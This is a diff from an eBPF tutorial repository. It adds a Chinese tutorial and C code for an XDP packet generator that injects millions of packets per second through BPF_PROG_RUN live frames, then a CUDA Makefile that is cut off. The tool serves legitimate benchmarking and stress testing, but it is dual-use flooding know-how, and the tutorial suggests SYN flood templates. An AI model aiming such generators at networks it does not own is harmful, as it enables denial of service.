程序性能吗?传统的数据包生成器如 `pktgen` 需要内核模块或在用户态运行,开销很大。有更好的方法 - XDP 的 BPF_PROG_RUN 功能让你可以直接从用户态向内核快速路径注入数据包,速度可达每秒数百万包,而且不需要加载网络驱动。 + +在本教程中,我们将构建一个基于 XDP 的数据包生成器,利用内核的 BPF_PROG_RUN 测试基础设施。我们将探索 XDP 的 `XDP_TX` 动作如何创建数据包反射循环,理解启用真实数据包注入的实时帧模式,并测量高负载下 XDP 程序的性能特征。最后,你将拥有一个用于网络测试和 XDP 基准测试的生产级工具。 + +## 理解 XDP 数据包生成 + +XDP(eXpress Data Path)通过在内核网络栈分配套接字缓冲区之前挂钩到网络驱动程序,提供了 Linux 中最快的可编程数据包处理。通常,XDP 程序处理从网络接口到达的数据包。但是,如果你想在没有真实网络流量的情况下测试 XDP 程序的性能怎么办?或者注入合成数据包来对网络基础设施进行压力测试? + +### BPF_PROG_RUN 测试接口 + +内核通过 `bpf_prog_test_run()`(BPF_PROG_RUN)暴露了一个用于测试 BPF 程序的机制。最初设计用于单元测试,这个系统调用让用户空间可以使用合成输入调用 BPF 程序并捕获其输出。对于 XDP 程序,你提供一个数据包缓冲区和描述数据包元数据(接口索引、RX 队列)的 `xdp_md` 上下文。内核运行你的 XDP 程序并返回动作代码(XDP_DROP、XDP_PASS、XDP_TX 等)以及任何数据包修改。 + +传统的 BPF_PROG_RUN 在"空运行"模式下操作 - 数据包被处理但从不实际传输。XDP 程序运行,修改数据包数据,返回一个动作,但没有任何东西到达网络。这对于测试数据包解析逻辑或在隔离环境中测量程序执行时间非常完美。 + +### 实时帧模式:真实数据包注入 + +在 Linux 5.18+ 中,内核通过 `BPF_F_TEST_XDP_LIVE_FRAMES` 标志引入了**实时帧模式**。这从根本上改变了 BPF_PROG_RUN 的行为。当启用时,XDP_TX 动作不仅仅是返回 - 它们实际上通过指定的网络接口在网络上传输数据包。这将 BPF_PROG_RUN 变成了一个强大的数据包生成器。 + +工作原理如下:你的用户空间程序构造一个数据包(带有 IP 头、UDP 负载等的以太网帧),并在启用实时帧的情况下将其传递给 `bpf_prog_test_run()`。XDP 程序在其 `xdp_md` 上下文中接收这个数据包。如果程序返回 `XDP_TX`,内核会通过网络驱动传输数据包,就像它到达接口并被反射回去一样。数据包出现在网络上,完全支持硬件卸载(校验和、分段等)。 + +这启用了几个强大的用例。**网络栈压力测试**:用每秒数百万个数据包淹没你的系统,以找到网络栈、驱动程序或应用层的瓶颈。**XDP 程序基准测试**:在没有外部数据包生成器的情况下,测量 XDP 程序在真实负载下每秒可以处理多少个数据包。**协议模糊测试**:生成格式错误的数据包或不寻常的协议序列来测试健壮性。**合成流量生成**:创建真实的流量模式来测试负载均衡器、防火墙或入侵检测系统。 + +### XDP_TX 反射循环 + +最简单的 XDP 数据包生成器使用 `XDP_TX` 动作。这告诉内核"将这个数据包传输回它到达的接口"。我们的最小 XDP 程序字面上只有三行: + +```c +SEC("xdp") +int xdp_redirect_notouch(struct xdp_md *ctx) +{ + return XDP_TX; +} +``` + +就是这样。没有数据包解析,没有头部修改 - 只是反射所有内容。结合实时帧模式下的 BPF_PROG_RUN,这创建了一个数据包生成循环:用户空间注入一个数据包,XDP 将其反射到网络,以每秒数百万个数据包的速度重复。 + +为什么这么快?XDP 程序在驱动程序的接收路径中运行,直接访问 DMA 缓冲区。没有套接字缓冲区分配,没有协议栈遍历,数据包之间没有上下文切换到用户空间。内核可以批量处理多个帧的数据包,摊销每个数据包的开销。在现代硬件上,单个 CPU 核心可以生成 500-1000 万个数据包每秒。 + +## 构建数据包生成器 + +让我们检查完整的数据包生成器如何工作,从用户空间控制到内核数据包注入。 + +### 完整的 XDP 程序:xdp-pktgen.bpf.c + +```c +/* SPDX-License-Identifier: MIT */ +#include "vmlinux.h" +#include +#include + +char _license[] SEC("license") = "GPL"; + +SEC("xdp") +int xdp_redirect_notouch(struct xdp_md *ctx) +{ + return XDP_TX; +} +``` + +这就是整个 XDP 程序。`SEC("xdp")` 属性将其标记为 libbpf 程序加载器的 XDP 程序。该函数接收一个 `xdp_md` 上下文,其中包含数据包元数据 - `data` 和 `data_end` 指针框定数据包缓冲区,`ingress_ifindex` 标识接收接口,并且 RX 队列信息可用于多队列网卡。 + +我们立即返回 `XDP_TX` 而不触碰数据包。在实时帧模式下,这会导致内核传输数据包。数据包数据本身来自用户空间 - 我们将构造 UDP 或自定义协议数据包,并通过 BPF_PROG_RUN 注入它们。 + +这种最小化方法的美妙之处在于所有数据包构造都发生在用户空间,你可以完全控制。想要模糊测试协议?在 C 中生成具有任意头字段的数据包。需要真实的流量模式?读取 pcap 文件并通过 XDP 程序重放它们。测试特定的边缘情况?逐字节制作数据包。XDP 程序只是将数据包以线速发送到网络的工具。 + +### 用户空间控制程序:xdp-pktgen.c + +用户空间程序处理数据包构造、BPF 程序加载和注入控制。让我们逐步了解关键组件。 + +#### 数据包构造和配置 + +```c +struct config { + int ifindex; // 在哪个接口上注入数据包 + int xdp_flags; // XDP 附加标志 + int repeat; // 注入每个数据包的次数 + int batch_size; // BPF_PROG_RUN 的批量大小(0 = 自动) +}; + +struct config cfg = { + .ifindex = 6, // 网络接口(例如,eth0) + .repeat = 1 << 20, // 每批 100 万次重复 + .batch_size = 0, // 让内核选择最佳批次 +}; +``` + +配置控制数据包注入参数。接口索引标识要使用的网卡 - 使用 `ip link show` 查找。重复计数确定在单个 BPF_PROG_RUN 调用中注入每个数据包的次数。更高的计数可以摊销系统调用开销,但会增加下一个数据包模板之前的延迟。批量大小允许你在一次系统调用中注入多个不同的数据包(高级功能,0 表示单数据包模式)。 + +数据包构造支持两种模式。默认情况下,它生成一个合成的 UDP/IPv4 数据包: + +```c +struct test_udp_packet_v4 pkt_udp = create_test_udp_packet_v4(); +size = sizeof(pkt_udp); +memcpy(pkt_file_buffer, &pkt_udp, size); +``` + +这创建了一个最小的有效 UDP 数据包 - 带有源/目标 MAC 的以太网帧、带有地址和校验和的 IPv4 头、带有端口的 UDP 头和小的负载。`create_test_udp_packet_v4()` 辅助函数(来自 test_udp_pkt.h)构造一个网络栈可以接受的线格式数据包。 + +对于自定义数据包,将 `PKTGEN_FILE` 环境变量设置为包含原始数据包字节的文件: + +```c +if ((pkt_file = getenv("PKTGEN_FILE")) != NULL) { + FILE* file = fopen(pkt_file, "r"); + size = fread(pkt_file_buffer, 1, 1024, file); + fclose(file); +} +``` + +这允许你注入任意数据包 - pcap 提取、模糊测试负载或协议测试向量。任何二进制数据都可以工作,只要它形成一个有效的以太网帧。 + +#### BPF_PROG_RUN 调用和实时帧 + +数据包注入循环使用 `bpf_prog_test_run_opts()` 重复调用 XDP 程序: + +```c +struct xdp_md ctx_in = { + .data_end = size, // 数据包长度 + .ingress_ifindex = cfg.ifindex // 哪个接口 +}; + +DECLARE_LIBBPF_OPTS(bpf_test_run_opts, opts, + .data_in = pkt_file_buffer, // 数据包数据 + .data_size_in = size, // 数据包长度 + .ctx_in = &ctx_in, // XDP 元数据 + .ctx_size_in = sizeof(ctx_in), + .repeat = cfg.repeat, // 重复计数 + .flags = BPF_F_TEST_XDP_LIVE_FRAMES, // 启用实时传输 + .batch_size = cfg.batch_size, + .cpu = 0, // 固定到 CPU 0 +); +``` + +关键标志是 `BPF_F_TEST_XDP_LIVE_FRAMES`。如果没有它,XDP 程序会运行但数据包保留在内存中。有了它,XDP_TX 动作实际上通过驱动程序传输数据包。内核验证接口索引是否有效且接口是否启动,确保数据包到达网络。 + +CPU 固定(`cpu = 0`)对性能测量很重要。通过将注入线程固定到 CPU 0,你可以获得一致的性能数字并避免跨核心的缓存抖动。为了获得最大吞吐量,你可以生成多个固定到不同 CPU 的线程,每个线程在单独的接口或队列上注入数据包。 + +注入循环一直持续到中断: + +```c +do { + err = bpf_prog_test_run_opts(run_prog_fd, &opts); + if (err) + return -errno; + iterations += opts.repeat; +} while ((count == 0 || iterations < count) && !exiting); +``` + +每次 `bpf_prog_test_run_opts()` 调用注入 `repeat` 个数据包(默认 100 万个)。使用快速的 XDP 程序,这在几毫秒内完成。内核批量处理数据包,最小化每个数据包的开销。总吞吐量取决于数据包大小、网卡能力和 CPU 性能,但每个核心可以实现 500-1000 万 pps。 + +#### 内核支持检测 + +并非所有内核都支持实时帧模式。程序在开始注入之前探测支持: + +```c +static int probe_kernel_support(int run_prog_fd) +{ + int err = run_prog(run_prog_fd, 1); // 尝试注入 1 个数据包 + if (err == -EOPNOTSUPP) { + printf("BPF_PROG_RUN with batch size support is missing from libbpf.\n"); + } else if (err == -EINVAL) { + err = -EOPNOTSUPP; + printf("Kernel doesn't support live packet mode for XDP BPF_PROG_RUN.\n"); + } else if (err) { + printf("Error probing kernel support: %s\n", strerror(-err)); + } else { + printf("Kernel supports live packet mode for XDP BPF_PROG_RUN.\n"); + } + return err; +} +``` + +这尝试单个数据包注入。如果内核缺乏支持(Linux <5.18 或未启用 CONFIG_XDP_SOCKETS),它返回 `-EINVAL`。没有批量支持的旧 libbpf 版本返回 `-EOPNOTSUPP`。成功意味着你可以继续完整的数据包生成。 + +## 运行数据包生成器 + +导航到教程目录并构建项目: + +```bash +cd bpf-developer-tutorial/src/46-xdp-test +make build +``` + +这会编译 XDP 程序(`xdp-pktgen.bpf.o`)和用户空间控制程序(`xdp-pktgen`)。构建需要 Clang 用于 BPF 编译和 libbpf 用于骨架生成。 + +在运行之前,识别你的网络接口索引。使用 `ip link show` 列出接口: + +```bash +ip link show +``` + +你会看到类似以下的输出: + +``` +1: lo: ... +2: eth0: ... +6: veth0: ... +``` + +注意接口编号(例如,veth0 为 6)。如果需要,在 xdp-pktgen.c 中更新配置: + +```c +struct config cfg = { + .ifindex = 6, // 更改为你的接口索引 + ... +}; +``` + +使用 root 权限运行数据包生成器(BPF_PROG_RUN 需要): + +```bash +sudo ./xdp-pktgen +``` + +你会看到类似以下的输出: + +``` +Kernel supports live packet mode for XDP BPF_PROG_RUN. +pkt size: 42 +[Generating packets...] +``` + +程序一直运行直到使用 Ctrl-C 中断。使用以下命令监控数据包传输: + +```bash +# 在另一个终端中,监视接口统计信息 +watch -n 1 'ip -s link show veth0' +``` + +你会看到 TX 数据包计数器快速增加。在现代 CPU 上,对于最小大小的数据包,预计每个核心每秒 500-1000 万个数据包。 + +### 自定义数据包注入 + +要注入自定义数据包,创建一个二进制数据包文件并设置环境变量: + +```bash +# 创建自定义数据包(例如,使用 scapy 或 hping3 生成二进制文件) +echo -n -e '\x00\x01\x02\x03\x04\x05...' > custom_packet.bin + +# 注入它 +sudo PKTGEN_FILE=custom_packet.bin ./xdp-pktgen +``` + +生成器从文件中读取最多 1024 字节并重复注入该数据包。这适用于任何协议 - IPv6、ICMP、自定义 L2 协议,甚至用于模糊测试的格式错误的数据包。 + +## 性能特征和调优 + +XDP 数据包生成性能取决于几个因素。让我们了解什么限制了吞吐量以及如何最大化它。 + +**数据包大小影响**:较小的数据包实现更高的包速率,但每秒字节数的吞吐量较低。64 字节的数据包在 1000 万 pps 时提供 5 Gbps。1500 字节的数据包在 200 万 pps 时提供 24 Gbps。CPU 以大致恒定的每秒包速率处理数据包,因此较大的数据包实现更高的带宽。 + +**CPU 频率和微架构**:具有更高频率和更好 IPC(每周期指令数)的新 CPU 实现更高的速率。Intel Xeon 或 AMD EPYC 服务器 CPU 每个核心可以达到 1000 万以上 pps。较旧或低功耗 CPU 可能只能达到 200-500 万 pps。 + +**网卡能力**:网络驱动程序必须跟上注入速率。高端网卡(Intel X710、Mellanox ConnectX)支持每秒数百万个数据包。消费级千兆网卡由于驱动程序限制或硬件缓冲,通常在 100-200 万 pps 时饱和。 + +**内存带宽**:在高速率下,往返于网卡 DMA 缓冲区的数据包数据传输可能成为瓶颈。确保系统有足够的内存带宽(使用 `perf stat` 监控内存控制器利用率)。 + +**中断和轮询开销**:网络驱动程序使用中断或轮询(NAPI)来处理数据包。在极端负载下,中断开销可能会减慢处理速度。考虑调整中断合并或使用忙轮询。 + +为了获得最大性能,将注入线程固定到专用 CPU 核心,禁用 CPU 频率缩放(将调节器设置为 performance),使用大页面用于数据包缓冲区以减少 TLB 未命中,并考虑带有 RSS(接收侧缩放)的多队列网卡 - 为每个队列生成线程以进行并行注入。 + +## 总结与下一步 + +XDP 数据包生成器利用内核的 BPF_PROG_RUN 基础设施以线速从用户空间注入数据包。通过将返回 XDP_TX 的最小 XDP 程序与实时帧模式相结合,你可以在没有外部硬件或内核模块的情况下每秒传输数百万个数据包。这使得网络栈压力测试、XDP 程序基准测试、协议模糊测试和合成流量生成成为可能。 + +我们的实现演示了核心概念:一个简单的 XDP 反射程序、使用自定义或默认 UDP 数据包的用户空间数据包构造、带有实时帧标志的 BPF_PROG_RUN 调用,以及内核支持检测。结果是一个灵活的、高性能的数据包生成器,适用于测试网络基础设施、测量 XDP 程序性能或生成真实的流量模式。 + +除了基本生成之外,你可以扩展这种方法来创建复杂的测试工具。为不同的协议添加数据包模板(TCP SYN 洪水、ICMP echo、DNS 查询)。实现流量整形(改变数据包间延迟)。同时支持多个接口以进行吞吐量聚合。与网络监控集成以测量丢包率或延迟。XDP 数据包生成器框架为高级网络测试功能提供了基础。 + +> 如果你想深入了解 eBPF 和 XDP,请查看我们的教程仓库 或访问我们的网站 。 + +## 参考资料 + +- **教程仓库**: +- **Linux 内核 XDP 文档**: `Documentation/networking/xdp.rst` +- **BPF_PROG_RUN 文档**: `tools/testing/selftests/bpf/README.rst` +- **XDP 教程**: +- **libbpf 文档**: + +完整的源代码及构建说明和示例数据包模板可在教程仓库中获取。欢迎贡献! diff --git a/src/46-xdp-test/test_udp_pkt.h b/src/46-xdp-test/test_udp_pkt.h new file mode 100644 index 00000000..f31c165f --- /dev/null +++ b/src/46-xdp-test/test_udp_pkt.h @@ -0,0 +1,114 @@ +#ifndef TEST_UDP_PKT_H +#define TEST_UDP_PKT_H + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include // For inet_addr() +#include // For memcpy, memset +#include +#include +#include + +#define PORT 9876 +#define SERVER_IP "127.0.0.1" + +// Define packet structures first +struct test_udp_packet { + struct ethhdr eth; + struct ipv6hdr iph; + struct udphdr udp; + __u8 payload[64 - sizeof(struct udphdr) - sizeof(struct ethhdr) - sizeof(struct ipv6hdr)]; +} __attribute__((packed)); + +struct test_udp_packet_v4 { + struct ethhdr eth; + struct iphdr iph; + struct udphdr udp; + uint8_t payload[64 - sizeof(struct udphdr) - sizeof(struct ethhdr) - sizeof(struct iphdr)]; +} __attribute__((packed)); + +// Helper function declarations +static uint16_t ip_checksum(void *vdata, size_t length); +static __be16 __calc_udp_cksum(const struct test_udp_packet *pkt); + +// Helper function implementations +static uint16_t ip_checksum(void *vdata, size_t length) { + char *data = vdata; + uint64_t acc = 0xffff; + + for (size_t i = 0; i + 1 < length; i += 2) { + uint16_t word; + memcpy(&word, data + i, 2); + acc += ntohs(word); + if (acc > 0xffff) { + acc -= 0xffff; + } + } + + if (length & 1) { + uint16_t word = 0; + memcpy(&word, data + length - 1, 1); + acc += ntohs(word); + if (acc > 0xffff) { + acc -= 0xffff; + } + } + + return htons(~acc); +} + +static __be16 __calc_udp_cksum(const struct test_udp_packet *pkt) { + __u32 chksum = pkt->iph.nexthdr + bpf_ntohs(pkt->iph.payload_len); + int i; + + for (i = 0; i < 8; i++) { + chksum += bpf_ntohs(pkt->iph.saddr.s6_addr16[i]); + chksum += bpf_ntohs(pkt->iph.daddr.s6_addr16[i]); + } + chksum += bpf_ntohs(pkt->udp.source); + chksum += bpf_ntohs(pkt->udp.dest); + chksum += bpf_ntohs(pkt->udp.len); + + while (chksum >> 16) + chksum = (chksum & 0xFFFF) + (chksum >> 16); + return bpf_htons(~chksum); +} + +static struct test_udp_packet_v4 create_test_udp_packet_v4(void) { + struct test_udp_packet_v4 pkt = {0}; + + // Ethernet header + pkt.eth.h_proto = htons(ETH_P_IP); + memcpy(pkt.eth.h_dest, (const unsigned char[]){0xb8, 0x3f, 0xd2, 0x2a, 0xe5, 0x11}, sizeof(pkt.eth.h_dest)); + memcpy(pkt.eth.h_source, (const unsigned char[]){0xb8, 0x3f, 0xd2, 0x2a, 0xe7, 0x69}, sizeof(pkt.eth.h_source)); + + // IPv4 header + pkt.iph.version = 4; + pkt.iph.ihl = 5; + pkt.iph.tot_len = htons(sizeof(struct test_udp_packet_v4) - sizeof(struct ethhdr)); + pkt.iph.ttl = 64; // default TTL + pkt.iph.protocol = IPPROTO_UDP; + pkt.iph.saddr = inet_addr(SERVER_IP); + pkt.iph.daddr = inet_addr(SERVER_IP); + pkt.iph.check = ip_checksum(&pkt.iph, sizeof(struct iphdr)); + + // UDP header + pkt.udp.source = htons(12345); + pkt.udp.dest = htons(PORT); + pkt.udp.len = htons(sizeof(struct udphdr) + sizeof(pkt.payload)); + pkt.udp.check = 0; // Optional for IPv4 + + // Payload + memset(pkt.payload, 0x42, sizeof(pkt.payload)); + + return pkt; +} + +#endif // TEST_UDP_PKT_H diff --git a/src/46-xdp-test/xdp-pktgen.bpf.c b/src/46-xdp-test/xdp-pktgen.bpf.c new file mode 100644 index 00000000..450627ad --- /dev/null +++ b/src/46-xdp-test/xdp-pktgen.bpf.c @@ -0,0 +1,12 @@ +/* SPDX-License-Identifier: MIT */ +#include "vmlinux.h" +#include +#include + +char _license[] SEC("license") = "GPL"; + +SEC("xdp") +int xdp_redirect_notouch(struct xdp_md *ctx) +{ + return XDP_TX; +} diff --git a/src/46-xdp-test/xdp-pktgen.c b/src/46-xdp-test/xdp-pktgen.c new file mode 100644 index 00000000..103b9f3d --- /dev/null +++ b/src/46-xdp-test/xdp-pktgen.c @@ -0,0 +1,172 @@ +/* SPDX-License-Identifier: MIT */ + +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "xdp-pktgen.skel.h" +#include "test_udp_pkt.h" + +#ifndef BPF_F_TEST_XDP_LIVE_FRAMES +#define BPF_F_TEST_XDP_LIVE_FRAMES (1U << 1) +#endif + +static volatile bool exiting = false; + +static void sig_handler(int sig) +{ + exiting = true; +} + +struct config { + int ifindex; + int xdp_flags; + int repeat; + int batch_size; +}; + +struct config cfg = { + .ifindex = 6, + .repeat = 1 << 20, + .batch_size = 0, +}; + +static int libbpf_print_fn(enum libbpf_print_level level, const char *format, va_list args) +{ + return vfprintf(stderr, format, args); +} + +static int run_prog(int run_prog_fd, int count) +{ + // struct test_udp_packet pkt_udp = create_test_udp_packet_v6(); + char* pkt_file = NULL; + unsigned char pkt_file_buffer[1024]; + int size = 0; + if ((pkt_file = getenv("PKTGEN_FILE")) != NULL) { + FILE* file = fopen(pkt_file, "r"); + if (file == NULL) { + printf("Error opening file\n"); + return -1; + } + // read the the file length of data into the buffer + size = fread(pkt_file_buffer, 1, 1024, file); + fclose(file); + } else { + struct test_udp_packet_v4 pkt_udp = create_test_udp_packet_v4(); + size = sizeof(pkt_udp); + memcpy(pkt_file_buffer, &pkt_udp, size); + } + struct xdp_md ctx_in = { + .data_end = size, + .ingress_ifindex = cfg.ifindex + }; + // struct xdp_md ctx_in_array[64]; + // for (int i = 0; i < 64; i++) { + // ctx_in_array[i].data_end = sizeof(pkt_udp); + // ctx_in_array[i].ingress_ifindex = cfg.ifindex; + // } + + printf("pkt size: %ld\n", size); + DECLARE_LIBBPF_OPTS(bpf_test_run_opts, opts, + .data_in = pkt_file_buffer, + .data_size_in = size, + .ctx_in = &ctx_in, + .ctx_size_in = sizeof(ctx_in), + .repeat = cfg.repeat, + .flags = BPF_F_TEST_XDP_LIVE_FRAMES, + .batch_size = cfg.batch_size, + .cpu = 0, + ); + __u64 iterations = 0; + cpu_set_t cpu_cores; + int err; + + CPU_ZERO(&cpu_cores); + CPU_SET(0, &cpu_cores); + pthread_setaffinity_np(pthread_self(), sizeof(cpu_set_t), &cpu_cores); + do { + err = bpf_prog_test_run_opts(run_prog_fd, &opts); + if (err) + return -errno; + iterations += opts.repeat; + } while ((count == 0 || iterations < count) && !exiting); + return 0; +} + +static int probe_kernel_support(int run_prog_fd) +{ + int err = run_prog(run_prog_fd, 1); + if (err == -EOPNOTSUPP) { + printf("BPF_PROG_RUN with batch size support is missing from libbpf.\n"); + } else if (err == -EINVAL) { + err = -EOPNOTSUPP; + printf("Kernel doesn't support live packet mode for XDP BPF_PROG_RUN.\n"); + } else if (err) { + printf("Error probing kernel support: %s\n", strerror(-err)); + } else { + printf("Kernel supports live packet mode for XDP BPF_PROG_RUN.\n"); + } + return err; +} + +int main() +{ + struct xdp_pktgen_bpf *skel = NULL; + int err = 0; + __u32 key = 0; + + /* Set up libbpf errors and debug info callback */ + libbpf_set_print(libbpf_print_fn); + /* Cleaner handling of Ctrl-C */ + signal(SIGINT, sig_handler); + signal(SIGTERM, sig_handler); + + skel = xdp_pktgen_bpf__open(); + if (!skel) { + err = -errno; + printf("Couldn't open XDP program: %s\n", strerror(-err)); + goto out; + } + + err = xdp_pktgen_bpf__load(skel); + if (err) + goto out; + + int run_prog_fd = bpf_program__fd(skel->progs.xdp_redirect_notouch); + // probe kernel support for BPF_PROG_RUN + err = probe_kernel_support(run_prog_fd); + if (err) + return err; + + err = run_prog(run_prog_fd, 0); + if (err) { + printf("run xdp program error: %d\n", err); + } + +out: + xdp_pktgen_bpf__destroy(skel); + return err; +} diff --git a/src/47-cuda-events/.config b/src/47-cuda-events/.config new file mode 100644 index 00000000..627dff96 --- /dev/null +++ b/src/47-cuda-events/.config @@ -0,0 +1,2 @@ +level=Depth +type=GPU diff --git a/src/47-cuda-events/.gitignore b/src/47-cuda-events/.gitignore new file mode 100644 index 00000000..a886bc97 --- /dev/null +++ b/src/47-cuda-events/.gitignore @@ -0,0 +1,11 @@ +.vscode +package.json +*.o +*.skel.json +*.skel.yaml +package.yaml +ecli +bootstrap +cuda_events +basic02 +bench diff --git a/src/47-cuda-events/Makefile b/src/47-cuda-events/Makefile new file mode 100644 index 00000000..a92a9f23 --- /dev/null +++ b/src/47-cuda-events/Makefile @@ -0,0 +1,196 @@ +# SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) +OUTPUT := .output +CLANG ?= clang +LIBBPF_SRC := $(abspath ../third_party/libbpf/src) +BPFTOOL_SRC := $(abspath ../third_party/bpftool/src) +LIBBPF_OBJ := $(abspath $(OUTPUT)/libbpf.a) +BPFTOOL_OUTPUT ?= $(abspath $(OUTPUT)/bpftool) +BPFTOOL ?= $(BPFTOOL_OUTPUT)/bootstrap/bpftool +LIBBLAZESYM_SRC := $(abspath ../third_party/blazesym/) +LIBBLAZESYM_OBJ := $(abspath $(OUTPUT)/libblazesym.a) +LIBBLAZESYM_HEADER := $(abspath $(OUTPUT)/blazesym.h) +ARCH ?= $(shell uname -m | sed 's/x86_64/x86/' \ + | sed 's/arm.*/arm/' \ + | sed 's/aarch64/arm64/' \ + | sed 's/ppc64le/powerpc/' \ + | sed 's/mips.*/mips/' \ + | sed 's/riscv64/riscv/' \ + | sed 's/loongarch64/loongarch/') +VMLINUX := ../third_party/vmlinux/$(ARCH)/vmlinux.h +# Use our own libbpf API headers and Linux UAPI headers distributed with +# libbpf to avoid dependency on system-wide headers, which could be missing or +# outdated +INCLUDES := -I$(OUTPUT) -I../third_party/libbpf/include/uapi -I$(dir $(VMLINUX)) +CFLAGS := -g -Wall -D_GNU_SOURCE +ALL_LDFLAGS := $(LDFLAGS) $(EXTRA_LDFLAGS) + +# Default CUDA library path +CUDA_LIB_PATH ?= /usr/local/cuda/lib64/libcudart.so + +# NVIDIA CUDA Compiler +NVCC ?= nvcc + +# Auto-detect CUDA architecture if possible +CUDA_DETECT_SCRIPT := $(OUTPUT)/detect_cuda_arch.sh +CUDA_ARCH_FLAGS ?= $(shell if [ -f $(CUDA_DETECT_SCRIPT) ]; then bash $(CUDA_DETECT_SCRIPT); else echo "-arch=sm_61"; fi) +NVCC_FLAGS = -O3 $(CUDA_ARCH_FLAGS) + +APPS = cuda_events # minimal minimal_legacy uprobe kprobe fentry usdt sockfilter tc ksyscall +CUDA_APPS = basic02 bench + +CARGO ?= $(shell which cargo) +ifeq ($(strip $(CARGO)),) +BZS_APPS := +else +BZS_APPS := # profile +APPS += $(BZS_APPS) +# Required by libblazesym +ALL_LDFLAGS += -lrt -ldl -lpthread -lm +endif + +# Get Clang's default includes on this system. We'll explicitly add these dirs +# to the includes list when compiling with `-target bpf` because otherwise some +# architecture-specific dirs will be "missing" on some architectures/distros - +# headers such as asm/types.h, asm/byteorder.h, asm/socket.h, asm/sockios.h, +# sys/cdefs.h etc. might be missing. +# +# Use '-idirafter': Don't interfere with include mechanics except where the +# build would have failed anyways. +CLANG_BPF_SYS_INCLUDES ?= $(shell $(CLANG) -v -E - &1 \ + | sed -n '/<...> search starts here:/,/End of search list./{ s| \(/.*\)|-idirafter \1|p }') + +ifeq ($(V),1) + Q = + msg = +else + Q = @ + msg = @printf ' %-8s %s%s\n' \ + "$(1)" \ + "$(patsubst $(abspath $(OUTPUT))/%,%,$(2))" \ + "$(if $(3), $(3))"; + MAKEFLAGS += --no-print-directory +endif + +define allow-override + $(if $(or $(findstring environment,$(origin $(1))),\ + $(findstring command line,$(origin $(1)))),,\ + $(eval $(1) = $(2))) +endef + +$(call allow-override,CC,$(CROSS_COMPILE)cc) +$(call allow-override,LD,$(CROSS_COMPILE)ld) + +.PHONY: all +all: cuda_events basic02 bench + +.PHONY: clean +clean: + $(call msg,CLEAN) + $(Q)rm -rf $(OUTPUT) $(APPS) $(CUDA_APPS) + +$(OUTPUT) $(OUTPUT)/libbpf $(BPFTOOL_OUTPUT): + $(call msg,MKDIR,$@) + $(Q)mkdir -p $@ + +# Create a script to detect CUDA architecture +$(CUDA_DETECT_SCRIPT): | $(OUTPUT) + $(call msg,SCRIPT,$@) + $(Q)echo '#!/bin/bash' > $@ + $(Q)echo 'CUDA_VERSION=$$($(NVCC) --version | grep "release" | sed "s/.*release //" | sed "s/,.*//")' >> $@ + $(Q)echo 'if [ -x "$$(command -v nvidia-smi)" ]; then' >> $@ + $(Q)echo ' CUDA_ARCH=$$(nvidia-smi --query-gpu=compute_cap --format=csv,noheader | sed -e "s/\.//")' >> $@ + $(Q)echo ' if [ -n "$$CUDA_ARCH" ]; then' >> $@ + $(Q)echo ' echo "-arch=sm_$$CUDA_ARCH"' >> $@ + $(Q)echo ' exit 0' >> $@ + $(Q)echo ' fi' >> $@ + $(Q)echo 'fi' >> $@ + $(Q)echo 'echo "-arch=sm_61"' >> $@ + $(Q)chmod +x $@ + +# Build libbpf +$(LIBBPF_OBJ): $(wildcard $(LIBBPF_SRC)/*.[ch] $(LIBBPF_SRC)/Makefile) | $(OUTPUT)/libbpf + $(call msg,LIB,$@) + $(Q)$(MAKE) -C $(LIBBPF_SRC) BUILD_STATIC_ONLY=1 \ + OBJDIR=$(dir $@)/libbpf DESTDIR=$(dir $@) \ + INCLUDEDIR= LIBDIR= UAPIDIR= \ + install + +# Build bpftool +$(BPFTOOL): | $(BPFTOOL_OUTPUT) + $(call msg,BPFTOOL,$@) + $(Q)$(MAKE) ARCH= CROSS_COMPILE= OUTPUT=$(BPFTOOL_OUTPUT)/ -C $(BPFTOOL_SRC) bootstrap + +# Build CUDA examples +$(CUDA_APPS): %: %.cu $(CUDA_DETECT_SCRIPT) + $(call msg,NVCC,$@) + $(Q)$(NVCC) $(NVCC_FLAGS) -o $@ $< + $(Q)@echo "Compiling for architecture: $(CUDA_ARCH_FLAGS)" + +# Build BPF code +$(OUTPUT)/%.bpf.o: %.bpf.c $(LIBBPF_OBJ) $(wildcard %.h) $(VMLINUX) | $(OUTPUT) $(BPFTOOL) + $(call msg,BPF,$@) + $(Q)$(CLANG) -g -O2 -target bpf -D__TARGET_ARCH_$(ARCH) \ + $(INCLUDES) $(CLANG_BPF_SYS_INCLUDES) \ + -c $(filter %.c,$^) -o $(patsubst %.bpf.o,%.tmp.bpf.o,$@) + $(Q)$(BPFTOOL) gen object $@ $(patsubst %.bpf.o,%.tmp.bpf.o,$@) + +# Generate BPF skeletons +$(OUTPUT)/%.skel.h: $(OUTPUT)/%.bpf.o | $(OUTPUT) $(BPFTOOL) + $(call msg,GEN-SKEL,$@) + $(Q)$(BPFTOOL) gen skeleton $< > $@ + +# Build user-space code +$(patsubst %,$(OUTPUT)/%.o,$(APPS)): %.o: %.skel.h + +$(OUTPUT)/%.o: %.c $(wildcard %.h) | $(OUTPUT) + $(call msg,CC,$@) + $(Q)$(CC) $(CFLAGS) $(INCLUDES) -c $(filter %.c,$^) -o $@ + +$(patsubst %,$(OUTPUT)/%.o,$(BZS_APPS)): $(LIBBLAZESYM_HEADER) + +$(BZS_APPS): $(LIBBLAZESYM_OBJ) + +# Build application binary +$(APPS): %: $(OUTPUT)/%.o $(LIBBPF_OBJ) | $(OUTPUT) + $(call msg,BINARY,$@) + $(Q)$(CC) $(CFLAGS) $^ $(ALL_LDFLAGS) -lelf -lz -o $@ + +# Benchmarking targets +.PHONY: benchmark benchmark-no-trace benchmark-with-trace + +# Run benchmark without tracing +benchmark-no-trace: + $(call msg,BENCH,"without tracing") + $(Q)./bench + +# Run benchmark with tracing +benchmark-with-trace: + $(call msg,BENCH,"with tracing") + $(Q)(sudo ./cuda_events -p ./bench > /dev/null 2>&1 &); \ + sleep 1; \ + ./bench; \ + sudo pkill -f "./cuda_events -p ./bench" || true + +# Run both benchmarks and compare +benchmark: bench cuda_events + $(call msg,BENCH,"benchmark comparison") + $(Q)echo "=============================================" + $(Q)echo "Running benchmark WITHOUT tracing..." + $(Q)echo "=============================================" + $(Q)./bench + $(Q)echo "" + $(Q)echo "=============================================" + $(Q)echo "Running benchmark WITH tracing..." + $(Q)echo "=============================================" + 